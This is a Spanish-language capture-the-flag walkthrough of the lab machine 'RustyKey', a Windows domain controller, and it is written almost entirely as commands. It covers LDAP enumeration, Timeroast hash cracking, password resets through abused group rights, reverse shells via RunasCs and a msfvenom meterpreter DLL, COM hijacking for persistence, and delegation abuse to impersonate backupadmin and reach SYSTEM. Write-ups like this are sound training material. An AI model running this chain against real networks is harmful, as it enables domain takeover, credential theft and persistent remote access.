RustyKey 389



Escaneo:

───────┼────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
   1   │ # Nmap 7.95 scan initiated Sat Jun 28 21:08:52 2025 as: /usr/lib/nmap/nmap --privileged -sC -sV -p53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,470
       │ 01,49664,49665,49666,49667,49669,49670,49671,49672,49673,49676,49692,49721 -oN targeted 10.10.11.75
   2   │ Nmap scan report for 10.10.11.75
   3   │ Host is up (0.35s latency).
   4   │ 
   5   │ PORT      STATE SERVICE       VERSION
   6   │ 53/tcp    open  domain        Simple DNS Plus
   7   │ 88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-06-29 03:09:01Z)
   8   │ 135/tcp   open  msrpc         Microsoft Windows RPC
   9   │ 139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
  10   │ 389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: rustykey.htb0., Site: Default-First-Site-Name)
  11   │ 445/tcp   open  microsoft-ds?
  12   │ 464/tcp   open  kpasswd5?
  13   │ 593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
  14   │ 636/tcp   open  tcpwrapped
  15   │ 3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: rustykey.htb0., Site: Default-First-Site-Name)
  16   │ 3269/tcp  open  tcpwrapped
  17   │ 5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
  18   │ |_http-server-header: Microsoft-HTTPAPI/2.0
  19   │ |_http-title: Not Found
  20   │ 9389/tcp  open  mc-nmf        .NET Message Framing
  21   │ 47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
  22   │ |_http-server-header: Microsoft-HTTPAPI/2.0
  23   │ |_http-title: Not Found
  24   │ 49664/tcp open  msrpc         Microsoft Windows RPC
  25   │ 49665/tcp open  msrpc         Microsoft Windows RPC
  26   │ 49666/tcp open  msrpc         Microsoft Windows RPC
  27   │ 49667/tcp open  msrpc         Microsoft Windows RPC
  28   │ 49669/tcp open  msrpc         Microsoft Windows RPC
  29   │ 49670/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
  30   │ 49671/tcp open  msrpc         Microsoft Windows RPC
  31   │ 49672/tcp open  msrpc         Microsoft Windows RPC
  32   │ 49673/tcp open  msrpc         Microsoft Windows RPC
  33   │ 49676/tcp open  msrpc         Microsoft Windows RPC
  34   │ 49692/tcp open  msrpc         Microsoft Windows RPC
  35   │ 49721/tcp open  msrpc         Microsoft Windows RPC
  36   │ Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows
  37   │ 
  38   │ Host script results:
  39   │ | smb2-time: 
  40   │ |   date: 2025-06-29T03:10:04
  41   │ |_  start_date: N/A
  42   │ | smb2-security-mode: 
  43   │ |   3:1:1: 
  44   │ |_    Message signing enabled and required
  45   │ |_clock-skew: 7h59m59s
  46   │ 
  47   │ Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
  48   │ # Nmap done at Sat Jun 28 21:10:21 2025 -- 1 IP address (1 host up) scanned in 88.43 seconds
───────┴─────────────────────────────────────────────────────────────────────────────────────────────────

TENEMOS CREDENCIALES:

rr.parker / 8#t5HE8L!W3A

LDAP Enumeración

Enumeración con LDAP (Lightweight Directory Access Protocol)

  • Guardamos todos los usuarios en un archivo llamado usuarios.txt

ldapsearch -x -H ldap://10.10.11.75 -D 'rr.parker@rustykey.htb' -w '8#t5HE8L!W3A' -b 'dc=rustykey,dc=htb' "(objectClass=user)" userPrincipalName | 
grep "userPrincipalName:" | awk -F'@' '{print $1}' | awk '{print $2}' > usuarios.txt

Resultado:

       │ File: usuarios.txt
───────┼──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
   1   │ rr.parker
   2   │ mm.turner
   3   │ bb.morgan
   4   │ gg.anderson
   5   │ dd.ali
   6   │ ee.reed
   7   │ nn.marcos
   8   │ backupadmin

Con bloodhound buscamos que podemos hacer:

bloodhound-python -d rustykey.htb -u 'rr.parker'  -p '8#t5HE8L!W3A' -c all -ns 10.10.11.75 --zip

Nos percatamos que solo el usuario bb.morgan es miembro del grupo REMOTE MANAGEMENT USERS


Enumeración con Timeroast

Enumeración con Timeroast (desde rr.parker)

Usaste el script de TimeRoast, que funciona cuando tienes:

  • Un usuario válido (rr.parker)

  • Acceso a Kerberos (puerto 88) y LDAP (389)

python3 timeroast.py 10.10.11.75 -o rustykey.hashes

# O PODEMOS HACER:

nxc smb 10.10.11.75 -M timeroast

Crackeo del Hash (TimeCrack o Hashcat)

python3 timecrack.py rustykey.hashes /usr/share/wordlists/rockyou.txt

# En Bloodhound vemos que RID 1125 pertenece a IT_COMPUTER3!!!

[+] Cracked RID 1125 password: Rusty88! #TENEMOS UN PASSWD

Una vez identificas que la contraseña Rusty88! pertenece a IT-COMPUTER3$, puedes usar los privilegios del equipo en AD para explotar la infraestructura.

BloodHound muestra que:

  • El equipo IT-COMPUTER3$ puede agregarse al grupo HELPDESK

  • El grupo HELPDESK tiene WriteProperty/ResetPassword sobre cuentas como bb.morgan, ee.reed, etc.


Obtener TGT como máquina

getTGT.py -dc-ip 10.10.11.75 'rustykey.htb/IT-COMPUTER3$:Rusty88!'
export KRB5CCNAME=IT-COMPUTER3$.ccache

Esto te permite autenticarte como la máquina, usando Kerberos, gracias a Rusty88!.


Agregarse al grupo HELPDESK

bloodyAD --host dc.rustykey.htb --dc-ip 10.10.11.75 -d rustykey.htb -k add groupMember 'HELPDESK' IT-COMPUTER3$

Esto te da los privilegios del grupo HELPDESK usando la cuenta de máquina. Muy útil.


Cambiar contraseña de bb.morgan

bloodyAD --kerberos --host dc.rustykey.htb -d rustykey.htb -u 'IT-COMPUTER3$' -p 'Rusty88!' set password bb.morgan 'pa$$w0rd'

Esto funciona porque HELPDESK tiene permisos sobre bb.morgan.


Obtener TGT como bb.morgan

getTGT.py -dc-ip 10.10.11.75 'rustykey.htb/bb.morgan:pa$$w0rd'
export KRB5CCNAME=bb.morgan.ccache

Conectarte con evil-winrm a la máquina

evil-winrm -i dc.rustykey.htb -u bb.morgan -p 'pa$$w0rd' -r rustykey.htb

Escalada de privilegios


Descargamos el PDF

Se encuentra un PDF que menciona que el grupo SUPPORT obtiene privilegios temporales (como acceso al registro de Windows). Esto sugiere que podrías explotar esa pertenencia para elevar privilegios desde un usuario de SUPPORT (como ee.reed).


Resetear contraseña de ee.reed

bloodyAD --kerberos --host dc.rustykey.htb -d rustykey.htb -u 'IT-COMPUTER3$' -p 'Rusty88!' \
set password ee.reed 'Password123!'

WinRM no disponible para ee.reed

evil-winrm -i dc.rustykey.htb -u ee.reed -r rustykey.htb

Y falla. Posiblemente ee.reed no tiene permitido conectarse por WinRM.


Uso de RunasCs para simular login de ee.reed desde la sesión de bb.morgan

Teniendo shell con bb.morgan, subes RunasCs.exe:

.\RunasCs.exe ee.reed Password123! cmd.exe -r 10.10.16.94:4444
  • 💥 Se obtienes una reverse shell como ee.reed.


Persistencia vía COM Hijacking con DLL maliciosa

Con shell como ee.reed, generas un payload tipo DLL:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.16.94 LPORT=4444 -f dll -o rev.dll 

Subes el DLL a la máquina:

upload rev.dll

Y haces un hijack de un CLSID (identificador COM):

reg add "HKLM\Software\Classes\CLSID\{23170F69-40C1-278A-1000-000100020000}\InprocServer32" /ve /d "C:\temp\rev.dll" /f

Esto inserta una clave maliciosa que redirige la carga de un componente COM hacia tu DLL.

📌 Esa CLSID (7z.dll) es usada frecuentemente por el sistema — con suerte, se carga poco después, y lanza tu DLL maliciosa.


Espera el reverse shell en Kali:

msfconsole -q -x "use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set LHOST 10.10.16.7; set LPORT 4444; exploit"
shell
Poweshell

#Configurar la delegación para nuestra cuenta de máquina

Set-ADComputer -Identity DC -PrincipalsAllowedToDelegateToAccount IT-COMPUTER3$

🧠 ¿Qué significa esto?

Has configurado que la cuenta de máquina IT-COMPUTER3$ pueda hacer delegación hacia el Domain Controller. Esto es crucial para el abuso de delegación con S4U2Self, el cual te permitirá impersonar a cualquier usuario, como el backupadmin.


Solicita un ticket de servicio (TGS) con impersonación de backupadmin:

impacket-getST -spn 'cifs/dc.rustykey.htb' -impersonate backupadmin -dc-ip 10.10.11.75 -k 'RUSTYKEY.HTB/IT-COMPUTER3$:Rusty88!'
export KRB5CCNAME=backupadmin@cifs_dc.rustykey.htb@RUSTYKEY.HTB.ccache

Gana acceso como backupadmin al DC (con shell SYSTEM):

wmiexec.py -k -no-pass 'RUSTYKEY.HTB/backupadmin@dc.rustykey.htb'
o
psexec.py -k -no-pass 'RUSTYKEY.HTB/backupadmin@dc.rustykey.htb'

Last updated